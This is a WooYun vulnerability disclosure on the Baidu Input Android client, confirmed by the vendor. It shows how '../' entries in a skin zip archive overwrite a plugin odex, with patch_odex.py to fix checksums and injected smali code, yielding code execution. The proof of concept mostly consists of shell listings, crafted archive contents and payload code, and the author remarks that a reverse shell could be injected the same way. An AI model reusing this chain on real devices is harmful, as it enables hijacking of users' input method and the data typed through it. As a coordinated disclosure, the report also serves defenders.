当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123871

漏洞标题:百度输入安卓客户端代码感染漏洞分析(俗称寄生兽)

相关厂商:百度

漏洞作者: 路人甲

提交时间:2015-07-01 13:00

修复时间:2015-09-30 14:56

公开时间:2015-09-30 14:56

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-02: 厂商已经确认,细节仅向厂商公开
2015-07-05: 细节向第三方安全合作伙伴开放
2015-08-26: 细节向核心白帽子及相关领域专家公开
2015-09-05: 细节向普通白帽子公开
2015-09-15: 细节向实习白帽子公开
2015-09-30: 细节向公众公开

简要描述:

百度输入安卓客户端代码感染漏洞

详细说明:

输入法皮肤解压缩无限制插入 ../ 即可拥有输入法的写权限
下载 bds 或者 bdt 文件,本质是压缩文件

» file bi_skin_413.bds 
bi_skin_413.bds: Zip archive data, at least v1.0 to extract



将会被解压到 land 目录下

root@hammerhead:/data/data/com.baidu.input/files/land # ls -la
-rw------- u0_a76 u0_a76 63 2015-06-30 18:08 Info.txt
-rw------- u0_a76 u0_a76 35 2015-06-30 18:08 Token.txt
-rw------- u0_a76 u0_a76 2396 2015-06-30 18:08 bh.ini
-rw------- u0_a76 u0_a76 711 2015-06-30 18:08 cand1.cnd
-rw------- u0_a76 u0_a76 5110 2015-06-30 18:08 def_26.ini
-rw------- u0_a76 u0_a76 2726 2015-06-30 18:08 def_9.ini
-rw------- u0_a76 u0_a76 201638 2015-06-30 18:08 demo.png
-rw------- u0_a76 u0_a76 5061 2015-06-30 18:08 en_26.ini
-rw------- u0_a76 u0_a76 5063 2015-06-30 18:08 en_26s.ini
-rw------- u0_a76 u0_a76 2818 2015-06-30 18:08 en_9.ini
-rw------- u0_a76 u0_a76 2835 2015-06-30 18:08 en_9s.ini
-rw------- u0_a76 u0_a76 1317 2015-06-30 18:08 gen.ini
-rw------- u0_a76 u0_a76 309 2015-06-30 18:08 hint1.pop
-rw------- u0_a76 u0_a76 1653 2015-06-30 18:08 hw_full.ini
-rw------- u0_a76 u0_a76 1523 2015-06-30 18:08 hw_grid.ini
-rw------- u0_a76 u0_a76 3850 2015-06-30 18:08 num_26.ini
-rw------- u0_a76 u0_a76 2379 2015-06-30 18:08 num_9.ini
-rw------- u0_a76 u0_a76 5104 2015-06-30 18:08 py_26.ini
-rw------- u0_a76 u0_a76 2758 2015-06-30 18:08 py_9.ini
drwx------ u0_a76 u0_a76 2015-06-30 18:08 res
-rw------- u0_a76 u0_a76 947 2015-06-30 18:08 sel_ch.ini
-rw------- u0_a76 u0_a76 755 2015-06-30 18:08 sel_en.ini
-rw------- u0_a76 u0_a76 996 2015-06-30 18:08 symbol.ini



制作一个包含../的压缩包来验证猜想 (mac下使用 betterzip 完成)
»

tar vft basic.bdt 
-rwxrwxrwx 0 0 0 63 6 3 16:34 Info.txt
-rwxrwxrwx 0 0 0 35 6 9 18:15 Token.txt
-rwxrwxrwx 0 0 0 201638 6 3 16:34 demo.png
-rwxrwxrwx 0 0 0 4 6 30 19:29 ../../../../../../../../../../../../data/data/com.baidu.input/hello
drwxrwxrwx 0 0 0 0 6 9 16:50 land/
-rwxrwxrwx 0 0 0 2396 6 9 10:43 land/bh.ini
-rwxrwxrwx 0 0 0 711 6 3 16:34 land/cand1.cnd
-rwxrwxrwx 0 0 0 5110 6 9 10:43 land/def_26.ini



接下来要将写权限转换成执行权限.
替换插件 dex/jar/odex/so 等文件.
定位插入点方法:
- 静态检索反编译代码中DexClassLoader 构造方法
- hook构造方法DexClassLoader (String dexPath, String optimizedDirectory, String libraryPath, ClassLoader parent)
工具中心一些操作(扫一扫)触发了这个挂钩

06-30 23:48:04.004  11492-11502/? I/IPoison-com.baidu.input﹕ dexPath = /storage/emulated/0/baidu/ime/plugins/apks/com.baidu.input.plugin.kit.qrcode-1.jar | optimizedDirectory = /data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode | libraryPath = /data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode/lib
root@hammerhead:/data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode # ls -la
-rw-r--r-- u0_a76 u0_a76 39472 2015-06-30 23:48 com.baidu.input.plugin.kit.qrcode-1.dex
drwx------ u0_a76 u0_a76 2015-06-30 23:48 lib
root@hammerhead:/data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode # ls -la lib
-rw------- u0_a76 u0_a76 108428 2015-06-30 23:48 librabjni_V2_1_0.so



注入操作1:注入 com.baidu.input.plugin.kit.qrcode-1.dex
- smali注入反弹 shell 代码
- path crc and modwhen
产生问题:将 odex 转成 smali 后注入代码再转换成 dex...而不是 odex 了.
» file inject.dex
inject.dex: Dalvik dex file version 035
» file com.baidu.input.plugin.kit.qrcode-1.dex
com.baidu.input.plugin.kit.qrcode-1.dex: Dalvik dex file (optimized for host) version 036

patch 操作:
» python patch_odex.py patch com.baidu.input.plugin.kit.qrcode-1.dex dex.apk patch.dex
Original modTime: 0x46e152ce
Original CRC: 0x15a84323
Apk ModTime: 0x44f598ba
APK classes CRC: 0xf022cd8c
» python patch_odex.py print patched.odex
modTime: 0x44f598ba
crc: 0xf022cd8c
dalvik build ver: 0x1b
生成 poc 操作:注入一段 log 代码到com.baidu.idl.barcode.Barcode
.class public final Lcom/baidu/idl/barcode/Barcode;
.super Ljava/lang/Object;
# direct methods
.method static constructor <clinit>()V
.locals 3
:try_start_0
const-string v0, "rabjni_V2_1_0"
const-string v2, "Inject"
invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
将的语言包加入 poc 文件

» tar vft basic.bdt 
-rwxrwxrwx 0 0 0 63 6 3 16:34 Info.txt
-rwxrwxrwx 0 0 0 35 6 9 18:15 Token.txt
-rwxrwxrwx 0 0 0 201638 6 3 16:34 demo.png
-rwxrwxrwx 0 0 0 4 6 30 19:29 ../../../../../../../../../../../../data/data/com.baidu.input/app_megapp/com.baidu.input.plugin.kit.qrcode/com.baidu.input.plugin.kit.qrcode-1.dex
drwxrwxrwx 0 0 0 0 6 9 16:50 land/
-rwxrwxrwx 0 0 0 2396 6 9 10:43 land/bh.ini
-rwxrwxrwx 0 0 0 711 6 3 16:34 land/cand1.cnd
-rwxrwxrwx 0 0 0 5110 6 9 10:43 land/def_26.ini


最后效果...当然也可以注入个弹 shell 的...也做个视频?
07-01 12:28:02.248 24160-24160/? E/Inject﹕ rabjni_V2_1_0

漏洞证明:

install.png


屏幕快照 2015-07-01 12.51.56.png

修复方案:

1.encode ../
2.check plugins ,such as so/odex...

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-07-02 14:54

厂商回复:

十分感谢

最新状态:

暂无